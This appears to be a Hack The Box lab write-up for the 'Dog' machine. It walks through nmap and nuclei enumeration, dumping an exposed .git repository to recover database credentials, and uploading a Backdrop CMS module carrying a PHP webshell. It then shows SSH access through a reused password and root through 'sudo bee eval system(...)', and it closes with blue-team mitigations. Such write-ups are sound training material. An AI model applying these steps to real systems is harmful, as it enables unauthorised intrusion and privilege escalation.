HTB Writeup: Dog
BackdropCMS + exposed .git → DB creds → CMS admin → module upload webshell → SSH via reused creds → sudo bee eval → root.
A quick walkthrough of HTB Dog Linux Easy Box.
TL;DR
- Findings: Backdrop CMS site leaked its
.gitrepository. Repo contained DB creds. Those creds worked for Backdrop user tiffany. We uploaded a Backdrop module with a PHP shell, moved it to/filesfor persistence, then reused the same password to SSH as johncusack.johncusackhadsudoon bee, whoseevalfeature gave root RCE. - Root:
sudo bee eval "system('cat /root/root.txt');".
Initial enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Dog]
└─$ sudo nmap -Pn -n -sV -sC -A -T4 dog.htb -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-08 21:22 CET
Nmap scan report for dog.htb (10.129.47.145)
Host is up (0.027s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_ 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Home | Dog
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
| http-git:
| 10.129.47.145:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: todo: customize url aliases. reference:https://docs.backdro...
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin
| /comment/reply /filter/tips /node/add /search /user/register
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 995/tcp)
HOP RTT ADDRESS
1 24.69 ms 10.10.14.1
2 24.73 ms 10.129.47.145
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.17 seconds
ProTip™: Add dog.htb to /etc/hosts so tools (and cookies) behave predictably.
Foothold
Only SSH (22) and HTTP (80) are open. The site banner and nuclei both identify Backdrop CMS 1.x. Two quick wins:
- robots.txt lists typical CMS paths worth spidering.
- .git/ is exposed → dump the repo.
So we began with basic technologies enumeration using whatweb :
1
2
3
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Dog]
└─$ whatweb http://dog.htb
http://dog.htb [200 OK] Apache[2.4.41], Content-Language[en], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.47.145], UncommonHeaders[x-backdrop-cache,x-generator], X-Frame-Options[SAMEORIGIN]
And then we ran nuclei for any low hanging fruit :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Dog]
└─$ nuclei -u http://dog.htb
WARNING:(ast) sonic only supports go1.17~1.23, but your environment is not suitable
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.3.9
projectdiscovery.io
[INF] Current nuclei version: v3.3.9 (outdated)
[INF] Current nuclei-templates version: v10.1.3 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 52
[INF] Templates loaded for current scan: 7709
[INF] Executing 7520 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 189 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 1708 (Reduced 1614 Requests)
[INF] Using Interactsh Server: oast.site
[apache-detect] [http] [info] http://dog.htb ["Apache/2.4.41 (Ubuntu)"]
[metatag-cms] [http] [info] http://dog.htb ["Backdrop CMS 1 (https://backdropcms.org)"]
[tech-detect:backdrop-cms] [http] [info] http://dog.htb
[http-missing-security-headers:x-content-type-options] [http] [info] http://dog.htb
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://dog.htb
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://dog.htb
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://dog.htb
[http-missing-security-headers:content-security-policy] [http] [info] http://dog.htb
[http-missing-security-headers:referrer-policy] [http] [info] http://dog.htb
[http-missing-security-headers:clear-site-data] [http] [info] http://dog.htb
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://dog.htb
[http-missing-security-headers:strict-transport-security] [http] [info] http://dog.htb
[http-missing-security-headers:permissions-policy] [http] [info] http://dog.htb
[mixed-passive-content:img] [http] [info] http://dog.htb ["http://dog.htb/files/styles/medium/public/field/image/dog-obesity.jpg","http://dog.htb/files/styles/medium/public/field/image/dog-food.jpg","http://dog.htb/files/styles/medium/public/field/image/dog.jpeg","http://dog.htb/files/styles/medium/public/field/image/dog-animal_dotorlbdd7.jpg"]
[caa-fingerprint] [dns] [info] dog.htb
Then we run a basic fuzzing in order to catch some interesting files and directories :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Dog]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://dog.htb/FUZZ -ic
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://dog.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 13260, Words: 1368, Lines: 202, Duration: 30ms]
files [Status: 301, Size: 302, Words: 20, Lines: 10, Duration: 23ms]
themes [Status: 301, Size: 303, Words: 20, Lines: 10, Duration: 29ms]
modules [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 28ms]
sites [Status: 301, Size: 302, Words: 20, Lines: 10, Duration: 28ms]
core [Status: 301, Size: 301, Words: 20, Lines: 10, Duration: 26ms]
layouts [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 31ms]
[Status: 200, Size: 13260, Words: 1368, Lines: 202, Duration: 36ms]
server-status [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 28ms]
:: Progress: [220546/220546] :: Job [1/1] :: 1307 req/sec :: Duration: [0:03:18] :: Errors: 0 ::
Nothing very useful, so let’s continue with robots.txt. It’s still worth to check it.
From what we have, /files seems to be a good candidate for further enumeration
We quickly spotted a potential username which we’ll keep for later use.
Another quick-win is to check for the presence of a .git folder, which can lead to source code and commits dump.
And we are lucky because this is exactly the case :
We’ll use git-dumper, pretty well tailored for automatic extraction.
https://github.com/arthaud/git-dumper
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(venv)─(sc4nx㉿attackhost)-[~/…/HTBBoxes/Dog/git-dumper/dog]
└─$ python ./git_dumper.py http://dog.htb ./dog
<SNIP>
┌──(venv)─(sc4nx㉿attackhost)-[~/…/HTBBoxes/Dog/git-dumper/dog]
└─$ ll
total 80
drwxrwxr-x 9 sc4nx sc4nx 4096 Mar 9 20:36 core
drwxrwxr-x 7 sc4nx sc4nx 4096 Mar 9 20:36 files
-rwxrwxr-x 1 sc4nx sc4nx 578 Mar 9 20:36 index.php
drwxrwxr-x 2 sc4nx sc4nx 4096 Mar 9 20:36 layouts
-rwxrwxr-x 1 sc4nx sc4nx 18092 Mar 9 20:36 LICENSE.txt
-rwxrwxr-x 1 sc4nx sc4nx 5285 Mar 9 20:36 README.md
-rwxrwxr-x 1 sc4nx sc4nx 1198 Mar 9 20:36 robots.txt
-rwxrwxr-x 1 sc4nx sc4nx 21732 Mar 9 20:36 settings.php
drwxrwxr-x 2 sc4nx sc4nx 4096 Mar 9 20:36 sites
drwxrwxr-x 2 sc4nx sc4nx 4096 Mar 9 20:36 themes
We found mysql credentials in the settings.php file, but as we don’t have for now direct db access, we could assume some credentials reuse for tiffany.
1
2
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';
Indeed, we’re able to login with tiffany and the same password :
Once inside, Backdrop allows module upload. We package a tiny module that contains a PHP webshell and upload it via the admin UI:
We will create a tar.gz archive and embed a p0wny webshell :
https://github.com/flozz/p0wny-shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(venv)─(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Dog]
└─$ tar cvzf shell.tar.gz shell
shell/
shell/shell.info
shell/shell.php
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Dog/shell]
└─$ cat shell.info
type = module
name = Shell
description = Controls the visual building blocks a page is constructed
with. Blocks are boxes of content rendered into an area, or region, of a
web page.
package = Layouts
tags[] = Blocks
tags[] = Site Architecture
version = BACKDROP_VERSION
backdrop = 1.x
configure = admin/structure/block
; Added by Backdrop CMS packaging script on 2024-03-07
project = backdrop
version = 1.27.1
timestamp = 1709862662
Then we will simply use the module inqstall interface and provide our tarball.
We can now access the webshell at :
http://dog.htb/modules/shell/shell.php
But we’ll move it quickly in another location because it seems that some regular automatic cleanup is deleting our webshell.
So we moved it to :
http://dog.htb/files/shell.php
Fine ! Our webshell is now stable and available :
We’re getting a shell as www-data but we spotted 2 other users in the passwd file : jobert and johncusack. As the found password was already reused, it’s still worth to try on them. And this password was also valid for : johncusack
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(venv)─(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Dog]
└─$ ssh johncusack@dog.htb
johncusack@dog.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun 09 Mar 2025 08:47:26 PM UTC
System load: 0.0
Usage of /: 49.0% of 6.32GB
Memory usage: 19%
Swap usage: 0%
Processes: 227
Users logged in: 0
IPv4 address for eth0: 10.129.89.254
IPv6 address for eth0: dead:beef::250:56ff:fe94:f109
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
johncusack@dog:~$
User Flag
We found the user flag inside this user homefolder :
1
2
3
4
5
6
7
8
9
10
11
12
johncusack@dog:~$ ll
total 28
drwxr-xr-x 3 johncusack johncusack 4096 Feb 7 15:59 ./
drwxr-xr-x 4 root root 4096 Aug 15 2024 ../
lrwxrwxrwx 1 root root 9 Feb 7 15:59 .bash_history -> /dev/null
-rw-r--r-- 1 johncusack johncusack 220 Aug 15 2024 .bash_logout
-rw-r--r-- 1 johncusack johncusack 3771 Aug 15 2024 .bashrc
drwx------ 2 johncusack johncusack 4096 Aug 16 2024 .cache/
lrwxrwxrwx 1 root root 9 Feb 7 15:59 .mysql_history -> /dev/null
-rw-r--r-- 1 johncusack johncusack 807 Aug 15 2024 .profile
-rw-r----- 1 root johncusack 33 Mar 9 20:23 user.txt
johncusack@dog:~$
Privilege Escalation
johncusack has sudo privileges on bee :
1
2
3
4
5
6
7
8
johncusack@dog:~$ sudo -l
[sudo] password for johncusack:
Matching Defaults entries for johncusack on dog:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User johncusack may run the following commands on dog:
(ALL : ALL) /usr/local/bin/bee
johncusack@dog:~$
this command line utility is used for managing BackDrop CMS. It can perform actions like running cron, clear cache, and more.
From the official documentation, we can see these basics commands :
https://github.com/backdrop-contrib/bee/wiki/Usage
But more interestingly, we noticed a potential attack vector in one of the advanced commands :
That’s it : we can execute a system command, but as we’re elevating our privileges with sudo, this command will run under root.
1
2
johncusack@dog:/var/www/html$ sudo /usr/local/bin/bee eval "system('whoami');"
root
Root Flag
From there, we can simply get the root flag, or even get a revshell as root for post exploitation.
1
2
johncusack@dog:/var/www/html$ sudo /usr/local/bin/bee eval "system('cat /root/root.txt');"
fc885c52f80f6eec965cf319deb10e6d
Mitigations / Blue team notes
Web / App
- Never expose
.git/: block/.git*in the web server; deploy from artifacts, not live repos. - Backdrop CMS hardening
- Disable module upload for non-owner roles; restrict to trusted admins.
- Keep Backdrop core and contrib modules updated.
- Enforce a deny-by-default file handler (only serve known safe extensions from
/files). - Add a Content-Security-Policy; several missing security headers were flagged (HSTS, CSP, Referrer-Policy, COOP/COEP/CORP, Permissions-Policy).
- Sanitize public “files” dirs
- Serve via a separate vhost or bucket with
php_admin_flag engine off/RemoveHandler .phpso PHP can’t execute there. - Periodic malware scan + quarantine.
- Serve via a separate vhost or bucket with
Identity / Auth
- Ban password reuse across services; enforce per-service unique creds with a PAM/common password dictionary and breach corpus checks.
- Prefer SSH keys only (
PasswordAuthentication no), rate limit SSH (fail2ban / CrowdSec), and enable 2FA for the CMS.
Privilege
- Remove
sudo /usr/local/bin/beeor constrain with sudoers:- Replace with a specific subcommand wrapper; if
evalmust exist, run it as a non-root service account. - Consider AppArmor/SELinux profile on
beeto disallowproc_open/exec/system.
- Replace with a specific subcommand wrapper; if
- Web server user should not be able to write into executable locations; mount
/var/wwwwithnoexecwhere feasible and split writable content to a non-PHP-executable path.
Monitoring
- Alert on requests to
/.git/, uploading archives, and new.phpappearing under/files. - Log and alert on
bee evalusage,sudoinvocations, and creation of world-writable files in web roots.








